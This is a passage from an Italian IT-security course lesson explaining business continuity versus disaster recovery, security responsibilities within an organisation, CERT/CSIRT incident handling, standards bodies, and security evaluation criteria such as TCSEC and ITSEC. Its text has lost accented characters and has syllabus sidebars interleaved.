sumption che specifichi i mezzi per mantenere i servizi es-
senziali presso il luogo di crisi; un piano di business reco-
very che specifichi i mezzi per ripristinare le funzioni azien-
5.1.3 Organizzazione
della sicurezza
5.1.3.1 conoscere il
ruolo delle politiche
di sicurezza nel
guidare il
management della
sicurezza IT.
5.1.3 Organizzazione
della sicurezza
5.1.3.3 essere
consapevoli delle
necessit di
pianificare la
continuit operativa
dellazienda
(business continuity)
e il ripristino dopo un
disastro (disaster
recovery).
www.pcopen.it 12
ITAdministrator - Sicurezza informatica Lezione 1
dali in una localit alternativa e un contingency plan che
specifichi il modo di reagire a eventi esterni che causino un
serio impatto sullorganizzazione.
Nel mondo degli affari, il disaster recovery planning si
sta evolvendo verso il business continuity planning da pa-
recchi anni e i recenti eventi terroristici hanno accelerato
questa tendenza. Gi nel 1995 il Disaster Recovery Institu-
te International ha rimpiazzato la designazione di Certified
Disaster Recovery Planner (CDRP) con quella di Certified
Business Continuity Planner (CBCP).
La differenza tra disaster recovery e business continuity
che un piano di disaster recovery reattivo e si focalizza
di solito sul ripristino dellinfrastruttura informatica. Seb-
bene sia logico irrobustire linfrastruttura informatica per
prevenire un disastro, lo scopo principale del piano di di-
saster recovery rimediare ai danni allinfrastruttura. Al
contrario, un piano di business continuity non soltanto
proattivo, ma ha anche lobiettivo di mantenere in funzio-
ne le attivit dellazienda durante qualsiasi evento, non li-
mitandosi a ripristinare i computer dopo il fatto.
Come parte del processo di pianificazione della business
continuity, unazienda dovrebbe riesaminare la continuit
o il ripristino di produzione, imballaggio, stoccaggio, spe-
dizione, supporto clienti e qualsiasi altra struttura o fun-
zione critica per la sopravvivenza dellazienda. Un fattore
chiave per un piano di continuit funzionale il coinvolgi-
mento degli utenti, in modo da non trascurare procedure,
attrezzature, documentazione e altre necessit necessarie
per ripristinare i processi di business, non soltanto
lhardware e il software.
Un piccolo esempio della differenza tra ripristino dopo
un disastro e continuit operativa viene offerto dalluso
personale del computer. Lutente che si organizza per un
rudimentale disaster recovery, tiene backup periodici dei
dati e dei file importanti e tiene sotto mano il software ori-
ginale; se il sistema si blocca o lhard disk si guasta, rein-
stalla il sistema operativo e le applicazioni, applica di nuo-
vo tutte le personalizzazioni (Windows, e-mail, Internet, ap-
plicazioni eccetera) e ripristina i dati dal backup, perden-
do solo le aggiunte e le modifiche successive allultimo
backup.
Lutente orientato alla business continuity si attrezza
con almeno due hard disk e un software di backup auto-
matico delle immagini delle partizioni di disco; quindi pia-
nifica copie complete settimanali e copie incrementali
giornaliere.
Se si dotato di un hard disk di backup ben dimensio-
nato, pu anche conservare pi immagini delle partizioni
per scegliere quale ripristinare secondo le circostanze (per
esempio una pi affidabile o una pi aggiornata). Anche se
si guasta il disco principale, basta sostituirlo e ripristinare
le partizioni dai file immagine per riprendere la normale
operativit in poco tempo (pu bastare unora), senza rein-
stallare nulla.
In sintesi, lobiettivo generale delle attivit di sicurezza
mantenere la continuit del business aziendale e, in par-
ticolare, del lavoro del personale e del servizio ai clienti.
Hardware, software, sistemi, reti, informazioni, attrezzatu-
re e personale sono elementi da proteggere, ma vanno in-
quadrati nel piano di sicurezza generale con lobiettivo di
assicurare la continuit operativa.
Strati di responsabilit
Ogni membro del personale di unazienda, dalla cima al
fondo dellorganigramma, ha una parte di responsabilit
per le condizioni operative dellazienda e, in particolare,
per il mantenimento e il miglioramento della sicurezza.
Il management superiore ha la responsabilit di trac-
ciare obiettivi e strategie a lungo termine per lintera azien-
da; inoltre ha la responsabilit globale per la sicurezza del-
lazienda e per la protezione dei beni. In base alle leggi vi-
genti, ai beni da proteggere, ai rischi da controllare e agli al-
tri fattori, spetta al management superiore dar vita a unor-
ganizzazione di sicurezza, assegnare gli obiettivi di sicu-
rezza, fornire i mezzi per raggiungerli e far s che lintero
personale partecipi agli obiettivi e osservi le politiche, le li-
nee guida, le procedure e le direttive in materia di sicurez-
za.
Il management di livello divisionale e dipartimentale,
avendo conoscenza diretta del funzionamento dei propri
dipartimenti e delle mansioni del personale, ha la respon-
sabilit di contribuire alla formazione delle politiche di si-
curezza, di partecipare ai processi di analisi e di controllo
del rischio, allanalisi costi/benefici delle contromisure e al
monitoraggio delle attivit di sicurezza, delegando parte
dei compiti, ma condividendo le responsabilit con il ma-
nagement operativo, gli specialisti di sicurezza, i system ad-
ministrator, gli auditor e gli utenti.
I manager operativi e lo staff sono a contatto con lef-
fettiva operativit dellazienda e conoscono in dettaglio i
requisiti tecnici e procedurali, i sistemi e il loro utilizzo. Il
loro compito fornire informazioni utili per pianificare, or-
ganizzare e monitorare i programmi di sicurezza e imple-
mentare le politiche, le linee guida e le procedure stabilite
dal management e dallorganizzazione di sicurezza.
Gli esperti di sicurezza, sia che si tratti di funzionari o
di dirigenti interni (come security officer o Chief Informa-
tion Officer) o di professionisti esterni, hanno la funzione e
la responsabilit di realizzare gli obiettivi di sicurezza e di
implementare le direttive del management superiore. Gli
esperti di sicurezza, grazie alla loro competenza specifica,
sono un fattore chiave per dare solide fondamenta allor-
ganizzazione di sicurezza e per metterne in funzione i pro-
cessi, inclusi i meccanismi di monitoraggio e controllo per
mantenere la rotta senza un rilassamento delle policy, del-
le linee guida, degli standard e delle procedure. Una delle
principali responsabilit degli esperti di sicurezza il coin-
volgimento del management, a cui spetta la firma su ogni
decisione e direttiva dopo aver recepito requisiti, informa-
zioni e analisi dal gruppo di sicurezza e dal personale (coin-
volto tramite questionari, interviste ecc.).
Due ruoli importanti per la sicurezza, che devono esse-
re chiaramente definiti, sono il proprietario dei dati e il cu-
stode dei dati.
Il proprietario dei dati generalmente un membro del
management superiore ed , in definitiva, il massimo re-
sponsabile della protezione delle informazioni e della si-
curezza in generale. A lui verr imputata ogni negligenza
che abbia come conseguenza la perdita o la divulgazione il-
lecita delle informazioni e i danni conseguenti. Le violazio-
ni vanno dalla inosservanza della legge sulla privacy (per
esempio consentendo laccesso illegale al database trami-
te Internet) alla copia illecita di dati soggetti a copyright
(come software, musica e film scaricati dai dipendenti) al-
la inadeguata implementazione di procedure di disaster re-
covery e business continuity (gli azionisti potrebbero de-
nunciare inadempienze che causino grosse perdite alla-
zienda).
Il custode dei dati ha la responsabilit della manuten-
zione e della protezione dei dati, un ruolo che di solito ri-
coperto dal system administrator o, in una grande azienda,
da un ruolo senior a system administrator e network ad-
ministrator. Tra le funzioni ci sono lesecuzione di backup
periodici (generalmente secondo una strategia a pi livel-
li, con diversi tipi di supporto, diverse periodicit e, nel ca-
so dei database, sistemi di replicazione remota sincroni o
asincroni secondo i requisiti). Deve inoltre implementare i
meccanismi di sicurezza, validare periodicamente linte-
grit dei dati e dei supporti (sia on line sia di backup), ri-
pristinare i dati (e i programmi) dai backup quando neces-
sario e soddisfare i requisiti delle politiche di sicurezza, de-
gli standard e delle linee guida che riguardano la sicurezza
delle informazioni e la protezione dei dati. In particolare, un
system administrator responsabile dei singoli computer
5.1.3 Organizzazione
della sicurezza
5.1.3.4 conoscere le
responsabilit di tutti
i ruoli coinvolti in
unorganizzazione
(addetti alla
sicurezza,
amministratori di
sistema, utenti
qualunque).
www.pcopen.it 13
Lezione 1 IT Administrator - Sicurezza informatica
e dispositivi collegati, mentre un network administrator
responsabile delle connessioni, dellhardware e del softwa-
re di networking, oltre che del funzionamento in rete dei
computer e delle periferiche. Nelle aziende piccole le due
figure si sovrappongono.
Gli utenti sono tutti gli individui che quotidianamente
utilizzano i dati per motivi di lavoro. Ogni utente dovrebbe
avere i privilegi di accesso necessari per svolgere le proprie
mansioni ed responsabile di applicare le procedure di si-
curezza per preservare la disponibilit, lintegrit e la ri-
servatezza delle informazioni.
Una cattiva gestione della sicurezza, non conforme agli
strati di responsabilit, causa buona parte dei problemi in
tale campo. Lorganizzazione della sicurezza dovrebbe pre-
vedere un comitato di alto livello per assicurare che le
istanze di sicurezza ricevano la dovuta attenzione da par-
te del management superiore.
Un CIO (Chief Information Officer) o security officer do-
vrebbe lavorare con il management superiore per definire
le procedure di sicurezza strategiche e supportare i busi-
ness manager nel definire le loro necessit in tema di infor-
mazioni e sicurezza. I business manager (responsabili ad
esempio di attivit commerciali, di marketing, di rapporti
con i clienti, di progetti di espansione) hanno la principale
responsabilit nel determinare i requisiti di protezione del-
le risorse informative, quindi dovrebbero essere coinvolti
direttamente nella scelta delle misure di protezione. Spet-
ta ai business manager anche approvare i nuovi account
degli utenti, mentre gli amministratori della sicurezza crea-
no gli account, assegnano le password, si occupano del
software di sicurezza, testano le patch prima di applicarle
ai sistemi.
Le decisioni sui beni da proteggere e sulle contromisu-
re da adottare sono compito del management superiore
(assistito dallo staff e dagli organismi predisposti), non dei
system administrator e dei professionisti della sicurezza.
Un errore molto frequente gestire la sicurezza a livello di
security administrator o system administrator. In tal caso,
la sicurezza non vista nei termini ampi e generali che ri-
chiede, non viene eseguita alcuna analisi del rischio, unat-
tivit che richiede le valutazioni del management superio-
re e questultimo non prende consapevolezza dei rischi a
cui lazienda esposta. Inoltre, non vengono stanziati i fon-
di necessari per le attivit di sicurezza e non viene svolta
opera globale di sensibilizzazione ed educazione del per-
sonale.
Il dipartimento del Personale ha responsabilit specifi-
che in tema di sicurezza. Met dei problemi di sicurezza so-
no originati da cause interne alle aziende, sia per carenze
nella gestione della sicurezza sia per pratiche di recluta-
mento inadeguate. Al dipartimento del Personale spetta as-
sumere o ingaggiare personale qualificato, verificare il cur-
riculum di studi e lavoro e le informazioni personali, far fir-
mare un impegno di non divulgazione delle informazioni (e
di rispetto del copyright).
Spetta sempre al dipartimento del personale fornire lad-
destramento necessario, imporre uno stretto controllo de-
gli accessi, monitorare lutilizzo dei sistemi e, in caso di vio-
lazione, provvedere immediatamente per impedire ulteriori
danni e proteggere le informazioni, le risorse e tutte le par-
ti interessate (non dimentichiamo la condanna dellammi-
nistratore delegato per i film pirata scaricati abusivamen-
te dallimpiegato).
CERT, CSIRT e la gestione degli incidenti
Con la diffusione delle connessioni in rete e lespansio-
ne di Internet, dopo i primi attacchi si sent lesigenza di co-
stituire organizzazioni per reagire prontamente a eventi
che minacciassero la sicurezza dei computer collegati a In-
ternet. Il primo Computer Emergency Response Team
(CERT, squadra di intervento per le emergenze informati-
che) fu creato negli USA dalla DARPA (Defense Advanced
Research Projects Agency), nel novembre 1988, in risposta
al primo grave attacco alla rete, quando un worm mand in
avaria il 10% di Internet.
La missione del CERT quella di operare con la comu-
nit di Internet per facilitare la risposta agli eventi riguar-
danti la sicurezza degli host (i computer collegati a Inter-
net), prendere iniziative per sensibilizzare la comunit su-
gli aspetti della sicurezza e condurre ricerche rivolte a in-
crementare la sicurezza dei sistemi esistenti.
Il primo CERT (www.cert.org) diventato il CERT Coor-
dination Center (CERT-CC) ed situato presso il Software
Engineering Institute, finanziato dal governo USA e gestito
dalla Carnegie Mellon University di Pittsburg.
Si focalizza sulle violazioni alla sicurezza, allerta sulle
nuove minacce, reagisce agli attacchi (i cosiddetti inci-
dents) e fornisce assistenza, informazioni sulla vulnerabi-
lit dei prodotti e istruzione con documenti e tutorial.
Nel 2003 stato formato lo United States Computer
Emergency Readiness Team (US-CERT, www.us-cert.gov),
una partnership tra il Department of Homeland Security
(nato nel 2002 per fronteggiare gli attacchi terroristici in
USA) e il settore privato.
LUS-CERT opera a Washington e a Pittsburg, in stretto
coordinamento con il CERT-Coordination Center. Il suo
compito analizzare e ridurre le minacce e vulnerabilit
informatiche, disseminare informazioni per allertare sulle
nuove minacce e coordinare le attivit di risposta agli inci-
denti.
Vista la dimensione delle reti, il numero di comunit di
utenti e la richiesta di supporto per fronteggiare i problemi
di sicurezza, il CERT-CC impegnato ad aiutare la forma-
zione degli CSIRT (Computer Security Incident Response
Team), squadre di intervento per gli incidenti di sicurezza
informatica, a cui fornisce guida e addestramento. Nella
maggior parte delle aziende, i system e network admini-
strator non hanno a disposizione personale, competenze e
procedure per fronteggiare prontamente gli attacchi infor-
matici e minimizzare i danni, come dimostra il numero cre-
scente di incidenti di sicurezza.
In questi casi necessaria una risposta rapida ed effica-
ce; pi tempo trascorre per riconoscere, analizzare e ri-
spondere a un incidente, maggiori sono i danni e i costi di
ripristino. Le grandi organizzazioni hanno la possibilit di
crearsi il proprio CSIRT, come avviene negli USA con laiu-
to del CERT CSIRT Development Team.
In alternativa, si ricorre a gruppi di intervento pubblici,
come il CERT-IT (http://security.dico.unimi.it) e il GARR-
CERT (www.cert.garr.it) entrambi italiani.
I CERT o CSIRT delle varie nazioni sono collegati in una
struttura internazionale che permette la rapida condivi-
sione delle informazioni utili a fronteggiare minacce e at-
tacchi. Il FIRST (Forum for Incident Response and Security
Teams, www.first.org) nato nel 1990.
Nel 2003 FIRST contava la partecipazione di 150 orga-
nizzazioni per la risposta agli incidenti di sicurezza in ogni
parte del mondo. Il CERT-IT, ubicato presso lIstituto di
Scienza dellInformazione dellUniversit degli Studi di Mi-
lano, il primo membro italiano di FIRST, a cui stato am-
messo nel 1995.
La segnalazione degli incidenti al CERT-IT avviene in for-
ma riservata e autenticata tramite PGP (Pretty Good Pri-
vacy), un programma di cifratura gratuito usato da milioni
di utenti per proteggere la riservatezza della posta elettro-
nica (www.it.pgpi.org). La gestione degli incidenti prevede
tre fasi:
1) la segnalazione dellincidente, via e-mail o via Web,
con allegate le informazioni sullattacco e i file rilevanti (co-
me quelli di log);
2) la registrazione dellincidente da parte del CERT-IT e
lindagine sullattacco fino a informare lutente, se le infor-
mazioni fornite sono sufficienti, sui rimedi da adottare;
3) la chiusura della segnalazione.
5.1.3 Organizzazione
della sicurezza
5.1.3.5 sapere come
partecipare a una
squadra dintervento
per le emergenze
informatiche.
www.pcopen.it 14
ITAdministrator - Sicurezza informatica Lezione 1
Standard ed enti
di standardizzazione
Gli enti di standardizzazione principali e il loro ruolo
Gli enti di standardizzazione sono organizzazioni di na-
tura molto differente, che coprono aspetti normativi di-
versificati e hanno avuto una genesi diversa a seconda dei
casi. Operano in ambito nazionale o internazionale ed
emettono norme e linee guida (gli standard) che 1) per-
mettono di realizzare prodotti, processi e servizi secondo
lo stato corrente delle tecnologie e 2) forniscono le basi per
garantire linteroperabilit tra prodotti di produttori di-
versi. Oltre a emettere standard, questi enti svolgono altre
attivit, come la pubblicazione di documenti interpretativi
per facilitare lapplicazione degli standard secondo deter-
minati profili di utilizzo.
Generalmente gli enti di standardizzazione operano sul-
la base del consenso con unattivit di coordinamento e ar-
monizzazione. A volte il documento che descrive uno stan-
dard il risultato del lavoro di ricerca e sviluppo di un grup-
po di aziende e un compito dellente di standardizzazione
far s che le norme raggiungano un vasto campo di appli-
cabilit nel settore industriale interessato. In qualche caso
diversi gruppi industriali adottano tecnologie in concor-
renza tra loro e lente di standardizzazione, se non preval-
gono interessi economici o politici particolari, riesce ad ar-
monizzarne le caratteristiche definendo uno standard a cui
tutti i partecipanti si uniformano.
Casi di questo genere sono frequenti, per esempio nel
campo delle comunicazioni e del networking, quando alla
fase di rapida uscita sul mercato segue la ricerca del con-
senso e della massima interoperabilit. In generale, un en-
te di standardizzazione permette che le tecnologie con la
migliore combinazione di caratteristiche e consenso siano
codificate in modo da superare lambito locale di origine e
siano applicabili uniformemente e in modo interoperabile
su scala nazionale e internazionale. Gli organismi di stan-
dardizzazione possono essere istituzioni formalmente ri-
conosciute dagli stati nazionali o essere consorzi privati di
imprese che operano in un certo settore del mercato. Ve-
diamo ora quali sono gli enti di standardizzazione rilevan-
ti ai fini della sicurezza informatica.
ITU(International Telecommunication Union, www.itu.int):
unorganizzazione internazionale, nellambito dellONU,
dove governi e settore privato coordinano le reti e i ser-
vizi globali di telecomunicazioni. Ha sede a Ginevra e
comprende i settori ITU-T (standardizzazione), ITU-R
(radiocomunicazioni) e ITU-D (sviluppo). Ai fini della si-
curezza delle informazioni, sono di interesse le racco-
mandazioni ITU-T della serie X.500 (servizi di directory)
e, in particolare, la norma X.509 che descrive il formato
dei certificati digitali.
ISO (International Organization for Standardization,
www.iso.org): la maggiore organizzazione internaziona-
le di standardizzazione e comprende gli enti di standar-
dizzazione nazionali di 146 paesi (lUNI il membro ita-
liano). LISO, il cui nome non un acronimo ma deriva dal-
la parola greca isos - uguale - ha sede a Ginevra e opera a
stretto contatto con IEC (International Electrotechnical
Commission), ITU, CEN (Comitato Europeo di Normaliz-
zazione) e CESI (Centro Elettrotecnico Sperimentale Ita-
liano). Le norme ITU X.500, in realt, sono state emesse
congiuntamente allISO e sono contenute nella serie ISO
9594. ISO/IEC/JTC1 il comitato che si occupa di stan-
dardizzazione nel campo dell'ICT (http://www.jtc1.org). I
membri del JTC1 (Joint Technical Committee 1) sono gli
enti nazionali di standardizzazione IT. Il JTC 1 respon-
sabile della gestione di un vasto e complesso programma
di lavoro ed strutturato in sottocomitati e gruppi di la-
voro in base alle aree di interesse. Il sottocomitato 27
(ISO/IEC JTC1/SC27) quello che si occupa di tecniche di
sicurezza e vi partecipa, per lItalia, lUNINFO.
IETF (Internet Engineering Task Force, www.ietf.org): una
vasta comunit internazionale di progettisti, operatori,
produttori e ricercatori nel campo del networking, inte-
ressati allevoluzione dellarchitettura di Internet e allaf-
fidabilit del suo funzionamento. aperta a tutti gli inte-
ressati e il lavoro tecnico effettivo svolto dai gruppi di
lavoro, che sono organizzati per argomento in aree come
routing, trasporto, sicurezza e cos via. LIETF emette nor-
me sotto forma di Request For Comment (RFC). Ne fa par-
te la serie dedicata alle infrastrutture a chiave pubblica,
normalmente indicate con la sigla PKIX (Internet X.509
Public Key Infrastructure).
CEN (Comitato Europeo di Normalizzazione, www.ce-
norm.org): un organismo europeo composto dagli enti
di standardizzazione dei paesi membri dellUnione Euro-
pea e dellEFTA (European Fair Trade Association - tra cui
lUNI per lItalia). CEN, CENELEC ed ETSI sono i tre enti eu-
ropei di standardizzazione a cui riconosciuta la com-
petenza nellarea della standardizzazione tecnica su base
volontaria e che sono elencati nellAllegato I della Diret-
tiva 98/34/EC riguardante la procedura informativa per
gli standard e la normativa tecnica. Insieme, essi prepa-
rano gli standard europei in settori di attivit specifici e
costituiscono il sistema di standardizzazione europeo.
La maggior parte degli standard preparata su richiesta
dellindustria, ma anche la Commissione Europea pu far-
ne richiesta. Le direttive UE normalmente contengono
principi generali obbligatori, demandando i requisiti tec-
nici dettagliati agli enti di standardizzazione. Il CENELEC
il Comitato Europeo per la Standardizzazione Elettro-
tecnica (www.cenelec.org). LEFTA (European Fair Trade
Association, www.eftafairtrade.org) lo spazio di libero
scambio nato nel 1960 tra Austria, Danimarca, Norvegia,
Portogallo, Svezia, Svizzera e Gran Bretagna.
ETSI (European Telecommunications Standards Institute,
www.etsi.org): unorganizzazione europea indipenden-
te, riconosciuta dalla Commissione Europea e dallEFTA.
Ha sede a Sophia Antipolis (Francia) ed responsabile
per la standardizzazione delle tecnologie informatiche e
di comunicazioni (ICT) in Europa. Queste tecnologie in-
cludono le telecomunicazioni, il broadcasting e le aree
collegate come i trasporti intelligenti e lelettronica me-
dica. LETSI raggruppa 688 membri in 55 nazioni (dato di
febbraio 2005) dentro e fuori lEuropa, tra cui produttori,
gestori di reti, amministratori, service provider, enti di ri-
cerca e utenti. Tra i campi dinteresse, lETSI si occupa di
algoritmi di sicurezza e di servizi TTP (Trusted Third Party
Services); tra i progetti, segnaliamo lEuropean Electronic
Signature Standardization Initiative (www.ict.etsi.
org/EESSI_home.htm), che tra il 1999 e il 2004 ha coordi-
nato lattivit di standardizzazione per implementare la
direttiva CE sulla firma elettronica.
UNINFO(www.uninfo.polito.it): una libera associazione
a carattere tecnico, con lo scopo di promuovere e di par-
tecipare allo sviluppo della normativa nel settore delle tec-
niche informatiche. Rientrano nel suo campo dattivit i si-
stemi di elaborazione e di trasmissione delle informazio-
ni e le loro applicazioni nelle pi diverse aree, quali, ad
esempio, le attivit bancarie e le carte intelligenti. LU-
NINFO associato allUNI, lente nazionale italiano di uni-
ficazione (www.uni.com/it) e rappresenta lItalia presso
CEN e ISO. Le attivit dellUNINFO nellambito della sicu-
rezza informatica sono svolte dalla commissione STT (Si-
curezza delle Transazioni Telematiche), che si occupa del-
le norme di sicurezza nelle transazioni telematiche, con
particolare riferimento alla firma elettronica.
5.1.4 Standard
ed enti di
standardizzazione
5.1.4.1 conoscere i
principali enti di
standardizzazione e il
loro ruolo.
www.pcopen.it 15
Lezione 1 IT Administrator - Sicurezza informatica
Normative relative alla sicurezza
delle informazioni
Lattivit normativa relativa alla sicurezza pu essere
suddivisa in tre aree: norme funzionali, criteri di valuta-
zione della garanzia e norme relative al sistema di gestio-
ne della sicurezza.
1) Norme funzionali: queste sono relative ai prodotti e
hanno lo scopo principale di ricercare linteroperabilit
dei prodotti informatici. Coprono argomenti quali i pro-
tocolli di comunicazione, il formato dei dati (per esem-
pio in un certificato digitale o in una smartcard) e cos
via. Oltre agli standard emessi dagli enti formali di stan-
dardizzazione, ci sono numerose specifiche tecniche
pubbliche emesse da associazioni e talvolta anche da
industrie private. Oltre agli enti gi citati, segnaliamo an-
che i seguenti: ANSI, American National Standards Insti-
tute (www.ansi.org), IEC, Commissione Elettrotecnica In-
ternazionale: (www.iec.ch), DIN, Deutsches Institut fr
Normung (www.din.de), SEIS, Swedish Secured Electronic
Information in Society Specifications, Sweden
(www.seis.se).Tra le associazioni, oltre al citato IETF, se-
gnaliamo lIEEE, Institute of Electrical and Electronics En-
gineers (www.ieee.org.). Tra gli standard di aziende pri-
vate segnaliamo la serie PKCS#1-15 (Public Key Crypto-
graphy Standards) di RSA Security (www.rsa.com).
2) Criteri di valutazione della garanzia: sono i metodi con
cui viene valutata la fiducia che pu essere accordata ai
sistemi e ai prodotti informatici di sicurezza. Tra le pub-
blicazioni disponibili, le tre pi significative sono i cri-
teri americani TCSEC(Trusted Computing Security Eva-
luation Criteria, 1985), i criteri europei ITSEC (Informa-
tion Security Evaluation Criteria, 1991) e i criteri inter-
nazionali ISO/IEC 15408, noti come Common Criteria e
pubblicati nel 1999.
3) Norme e linee guida relative al sistema di gestione
della sicurezza nellazienda: segnaliamo le linee guida
ISO/IEC 13335 (Part 1: Concepts and models for IT Se-
curity, Part 2: Managing and planning IT Security, Part 3:
Techniques for the management of IT Security, Part 4:
Selection of safeguards, Part 5: Management guidance
on network security) e le norme BS (British Standard)
7799 (Part 1: Code of Practice, recepita dalla ISO/IEC
17799 Code of practice for information security mana-
gement del 2000 e Part 2: Controls, riveduta nel 2002).
I criteri per la valutazione
della garanzia
Abbiamo visto in precedenza che i sistemi di sicurezza
sono caratterizzati dalla funzionalit (quello che il sistema
deve fare per la sicurezza) e dalla garanzia (la fiducia nel-
la protezione offerta dalla funzionalit), a sua volta costi-
tuita da correttezza (qualit di implementazione della fun-
zionalit) e da efficacia (in quale grado la contromisura
protegge dalle minacce).
Le tre fonti citate sopra a proposito dei criteri di valu-
tazione della garanzia si chiamano appunto criteri di va-
lutazione, anzich norme o standard, perch, sia pure con
diversa attenzione ai requisiti funzionali, tutti si esprimo-
no sui livelli di garanzia, un concetto troppo astratto per
essere ridotto a uno standard. In ogni caso, TCSEC mischia
funzionalit e garanzia, ITSEC tenta di separare le due ca-
tegorie, ma non ci riesce del tutto, mentre questo risulta-
to stato raggiunto nei Common Criteria, pi efficaci e age-
voli da applicare.
I criteri di valutazione dei processi di sicurezza hanno
seguito idee e metodi diversi nel tempo e nelle varie aree
geografiche. Oggi il TCSEC viene considerato troppo rigi-
do, lITSEC troppo morbido e complicato e i Common Cri-
teria accettabili da tutti.
Il TCSEC stato sviluppato dal Dipartimento della Di-
fesa USA e pubblicato dal National Computer Security Cen-
ter (parte della National Security Agency) nel cosiddetto
Orange Book del 1985. Sebbene in Europa possa essere vi-
sto come superato, nella cultura di sicurezza americana
occupa ancora uno spazio rilevante ed considerato in-
dicativo delle esigenze di sicurezza degli ambienti milita-
ri.
Il TCSEC serve per valutare sistemi operativi, applica-
zioni e prodotti di vario genere. I criteri di valutazione so-
no stati pubblicati in un volume dalla copertina arancione,
detto perci Orange Book. Le valutazioni di sicurezza ri-
sultanti dallapplicazione del TCSEC servono ai compra-
tori per confrontare diverse soluzioni e ai produttori per
sapere a quali specifiche conformarsi.
LOrange Book viene usato per accertare se i prodotti
offrono le caratteristiche di sicurezza dichiarate e per va-
lutare se un prodotto appropriato per una funzione o ap-
plicazione specifica. Durante la valutazione, lOrange Book
prende in considerazione la funzionalit e la garanzia di un
sistema e fornisce un sistema di classificazione suddiviso
in una gerarchia di livelli di sicurezza:
A. Protezione verificata
B. Protezione obbligatoria
C. Protezione discrezionale
D. Sicurezza minima.
Ognuna delle quattro divisioni, da A (massima sicurez-
za) a D (minima sicurezza), pu avere una o pi classi di si-
curezza, ognuna numerata e corrispondente a un certo in-
sieme di requisiti da soddisfare. Le classi con numero su-
periore indicano un maggiore grado di fiducia e garanzia.
I criteri di valutazione includono quattro argomenti prin-
cipali: politiche di sicurezza, rendicontabilit (accounta-
bility), garanzia (assurance) e documentazione, ciascuna
delle quali si suddivide in sei aree:
- Politiche di sicurezza (la policy deve essere esplicita e
ben definita e imposta da meccanismi interni al sistema)
- Identificazione (i singoli soggetti devono essere identifi-
cati)
- Etichette (le etichette per il controllo degli accessi devo-
no essere associate in modo appropriato agli oggetti)
- Rendicontabilit (si devono raccogliere e proteggere i da-
ti di audit per imporre la rendicontabilit)
- Garanzia del ciclo di vita (software, hardware e firmware
devono poter essere testati individualmente per assicu-
rare che ciascuno imponga la politica di sicurezza in mo-
do efficace per tutto il ciclo di vita)
- Protezione continua (i meccanismi di sicurezza e lintero
sistema devono funzionare con continuit in modo pre-
vedibile e accettabile in tutte le diverse situazioni).
Queste categorie sono valutate in modo indipendente,
ma alla fine viene assegnata una valutazione complessiva.
Ogni divisione e classe di sicurezza include i requisiti del-
le classi e divisioni inferiori (per esempio la B2 include i re-
quisiti di B1, C2 e C1).
Le classi sono: C1 (protezione di sicurezza discrezio-
nale), C2 (protezione ad accessi controllati), B1 (prote-
zione obbligatoria), B2 (protezione strutturata), B3 (do-
mini di sicurezza) e A1 (progetto controllato). TCSEC sin-
dirizza alla riservatezza, ma non allintegrit. Mette gran-
de enfasi su controllare quali utenti possono accedere al
sistema e ignora praticamente che utilizzo costoro faccia-
no delle informazioni. Funzionalit e garanzia dei mecca-
nismi di sicurezza non sono valutate separatamente, ma
combinate tra loro.
Viste le numerose carenze dellOrange Book, special-
mente se applicato in ambito civile, furono pubblicate di-
verse estensioni, in quella che prese il nome di Rainbow
Series (serie arcobaleno). Ne fa parte il Trusted Network
Interpretation (TNI), detto Red Book, che si occupa di si-
curezza delle reti, uno dei tanti argomenti non trattati dal-
lOrange Book.
LITSEC stato il primo tentativo di stabilire un unico
standard di valutazione degli attributi di sicurezza da par-
te di molti paesi europei. Durante gli anni 80, Regno Uni-
5.1.4 Standard
ed enti di
standardizzazione
5.1.4.2 conoscere la
disponibilit di una
metodologia per
valutare i diversi
livelli di garanzia
(ITSEC, Common
Criteria).
5.1.4 Standard
ed enti di
standardizzazione
5.1.4.3 conoscere le
differenze essenziali
tra gli standard
pubblicati (ISO/IEC
17799, BS 7799
part 2) nati come
supporto per la
costruzione di
uninfrastruttura di
gestione della
sicurezza allinterno
di unorganizzazione.
www.pcopen.it 16
ITAdministrator - Sicurezza informatica Lezione 1
to, Germania, Francia e Olanda avevano prodotto versioni
dei loro criteri nazionali, in seguito armonizzate e pubbli-
cate come Information Technology Security Evaluation
Criteria (ITSEC).
La versione 1.2 corrente stata pubblicata nel 1991 dal-
la Commissione Europea, a cui ha fatto seguito nel 1993 l'IT
Security Evaluation Manual (ITSEM) che specifica la meto-
dologia da seguire per realizzare le valutazioni ITSEC.
Linnovazione rispetto al TCSEC stato il tentativo di
rendere indipendente la definizione delle funzionalit, co-
s da poter applicare i criteri ITSEC a un ampio spettro di
prodotti e sistemi, che nel gergo ITSEC si chiamano TOE
(target of evaluation).
La definizione delle funzionalit di sicurezza scorpo-
rata in un documento chiamato Security Target, che de-
scrive le funzionalit offerte dal TOE e lambiente operati-
vo del TOE. Nel caso di un sistema, il Security Target con-
tiene una System Security Policy (regole operative definite
su misura per uno specifico ambiente operativo).
La valutazione ITSEC viene eseguita da terze parti chia-
mate CLEF (Commercial Licensed Evaluation Facility) a cui
spetta fornire le certificazioni di conformit ai requisiti di
sicurezza. Il processo ISEC inizia con lo sponsor (di solito
lo sviluppatore del prodotto, o TOE) che nomina un CLEF.
Il CLEF valuta il Security Target e produce un piano di la-
voro. Viene nominato un certificatore e il processo ha ini-
zio. Lo sponsor fornisce tutto il materiale al valutatore, che
valuta se esso soddisfa i requisiti in termini di completez-
za, coerenza e accuratezza. Una volta soddisfatto, il valu-
tatore produce un report e lo sottopone al certificatore per
lapprovazione. Se il certificatore soddisfatto, produce un
report di certificazione e pubblica un certificato ITSEC.
Il Security Target il documento chiave per la valuta-
zione e contiene il target evaluation level, ossia il livello di
valutazione di sicurezza a cui il produttore aspira per com-
mercializzare il suo prodotto in un certo mercato. Ci sono
sei livelli di valutazione da E1 a E6; maggiore il livello,
maggiore il dettaglio e il rigore richiesto ai materiali sot-
toposti alla valutazione.
I requisiti di efficacia sono gli stessi per i sei livelli di va-
lutazione e sono valutati in una serie di analisi: Suitability
Analysis, Binding Analysis, Ease of Use Analysis, Con-
struction Vulnerabilities Analysis e Operational Vulnerabi-
lities Analysis.
Per valutare la correttezza del prodotto viene prodotto
il documento Architectural Design, che identifica ad alto li-
vello la struttura di base del TOE, le interfacce e la suddi-
visione in hardware e software. Il Detailed Design un do-
cumento che scende nei dettagli dellArchitectural Design
fino a un livello di dettaglio utilizzabile come base per lim-
plementazione. Durante il processo di valutazione, viene
verificato se le specifiche di sicurezza del Detailed Design
sono implementate correttamente e vengono esaminati i
sorgenti del software e i diagrammi di progetto del-
lhardware.
Ulteriori materiali forniti dal produttore per la valuta-
zione includono lambiente di sviluppo (controllo di confi-
